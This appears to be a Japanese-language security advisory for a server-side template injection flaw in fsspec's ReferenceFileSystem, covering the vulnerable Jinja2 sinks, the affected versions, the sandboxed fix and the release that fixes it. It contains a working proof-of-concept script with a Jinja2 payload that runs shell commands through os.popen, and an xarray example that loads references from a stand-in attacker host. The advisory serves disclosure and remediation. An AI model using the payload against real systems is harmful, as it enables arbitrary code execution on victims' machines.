fsspec: `ReferenceFileSystem`におけるサーバーサイドテンプレートインジェクションにより、リモートコード実行が可能になる

### 概要

`fsspec.implementations.reference.ReferenceFileSystem`は、インラインで提供されるか、URL経由で提供される"references"というJSONドキュメントを解析します。このパーサーは、JSONから取得したフィールドを、**サンドボックス化されていない** `jinja2.Template(...).render(...)`関数を使って、3つの場所でレンダリングします。攻撃者がJSONドキュメントを制御できる場合(通常は、被害者が`fsspec.filesystem("reference", fo=URL)`で開くURLや、`xarray.open_dataset("reference://...")`でアクセスするURLにホストされている場合)、データが読み込まれる前に、被害者のマシン上で任意のPythonコードを実行することができます。

これは、`llama-cpp-python`における[CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359)と同様のパターンです。この脆弱性では、外部から提供されたテンプレート文字列が、デフォルトで制限のないJinja2環境でレンダリングされていました。

### 影響を受けるバージョン

`fsspec`の`0.9.0`以降のすべてのバージョン(脆弱なコードは、コミット`0fb8d56b684ee74ad9ad4587fd560bde1b116450`、2021年3月12日に導入されました)。最新のリリースバージョン`2025.10.0`で確認されています。

### 影響を受ける箇所

`fsspec/implementations/reference.py`内のすべての箇所:

| 箇所 | 場所 | 発生条件 |
|---|---|---|
| A — `_process_references1._render_jinja` | 1016-1018行目 | `simple_templates=False`であり、`refs`エントリに`{{`が含まれている |
| B — `_process_templates` (lambda) | 1043-1053行目 | `templates`辞書の値に`{{`が含まれており、後でレンダリングコンテキストを通じて呼び出される |
| C — `_process_gen` | 1075-1083行目 | references JSONに`gen`配列が含まれている(`simple_templates`に関わらず、常に到達する) |

箇所Cが最も深刻です。これは、`gen`フィールドを含むすべてのreferences JSONに対して、常に到達します。

脆弱なコード:

```python
# fsspec/implementations/reference.py
# 箇所A
@lru_cache(1000)
def _render_jinja(u):
return jinja2.Template(u).render(**self.templates) # <- サンドボックス化されていない
```

```
# Sink B
def _process_templates(self, tmp):
...
for k, v in tmp.items():
if "{{" in v:
import jinja2
self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
temp # <- セキュアでない
).render(**kwargs)

# Sink C
def _process_gen(self, gens):
...
for pr in products:
import jinja2
key = jinja2.Template(gen["key"]).render(**pr, **self.templates) # <- セキュアでない
url = jinja2.Template(gen["url"]).render(**pr, **self.templates) # <- セキュアでない
if ("offset" in gen) and ("length" in gen):
offset = int(jinja2.Template(gen["offset"]).render(...)) # <- セキュアでない
length = int(jinja2.Template(gen["length"]).render(...)) # <- セキュアでない
```

### 実証コード (Sink C, 最小限)

`poc.py` として保存:

```python
import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path

PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
"version": 1, "templates": {}, "refs": {"x": "x"},
"gen": [{
"key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
"offset": "0", "length": "0", "dimensions": {"i": [0]},
}],
}

body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers(); self.wfile.write(body)
def log_message(self, *a, **kw): pass

srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"

for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
fsspec.filesystem("reference", fo=url)
except Exception as e:
print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))
```

実行:

```
pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]
```

### xarray を使用したエンドツーエンドのテスト (実際の利用シナリオ)

```python
import xarray as xr
ds = xr.open_dataset(
"reference://",
engine="zarr",
backend_kwargs={
"consolidated": False,
"storage_options": {
"fo": "http://attacker.example/refs.json",
"remote_protocol": "http",
},
},
)
# RCE (リモートコード実行) は、データが読み込まれる前に発生します。
```

### テスト環境

- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux

### 影響

`fsspec.ReferenceFileSystem` は、**Kerchunk**
形式の標準的なエントリーポイントです。これは、Pangeo / 地球観測 / 気候
データサイエンスのエコシステムで広く使用されており、オブジェクトストレージに
保存された HDF5 / NetCDF / GRIB アーカイブのクラウド最適化されたビューを提供します。

現実的な攻撃シナリオ:

- ユーザーが、xarray/dask を使用して、コミュニティで共有されている Kerchunk カタログへのリンクを開きます。
- 管理されたデータサイエンスプラットフォーム (ノートブックサーバー、バッチジョブランナー)
が、ユーザーが送信した Kerchunk URL を取り込みます。
- ワークフローが、内容が改ざんされたバケットからカタログをダウンロードします (サプライチェーン攻撃)。

いずれの場合も、被害者は「参照ファイルシステム」を開くという操作以上の
何も行いません。データカタログが任意の Python コードを実行できるという
公式な仕様はありません。

### 推奨される修正

すべてのシンク (処理箇所) で、`jinja2.Template(...)` を共有された
`jinja2.sandbox.ImmutableSandboxedEnvironment` に置き換えます。
これは、CVE-2024-34359 の後、`llama-cpp-python` に適用された
インシデント後のセキュリティ対策と同様のものです。

```python
# モジュールの先頭
def _sandboxed_env():
import jinja2.sandbox
env = getattr(_sandboxed_env, "_env", None)
if env is None:
env = jinja2.sandbox.ImmutableSandboxedEnvironment()
_sandboxed_env._env = env
return env
```

次に、各箇所で `jinja2.Template(s).render(...)` を `_sandboxed_env().from_string(s).render(...)` に置き換えてください。

Kerchunkの正当なテンプレート構文(`{{ varname }}`のような単純な変数置換など)は、サンドボックス環境下でも引き続き利用可能です。ただし、SSTI(Server-Side Template Injection)の脆弱性を利用するコード(`__class__`、`__init__.__globals__`、`__subclasses__`など)は、`jinja2.exceptions.SecurityError`によって拒否されます。

完全な修正パッチは、ご要望に応じて提供いたします。

### 貢献者

報告者:Dany.A

影響を受けるパッケージ:
- pip (Python) fsspec: 影響を受けるバージョンは 0.9.0 以降、2026.6.0 未満。2026.6.0 で修正済み。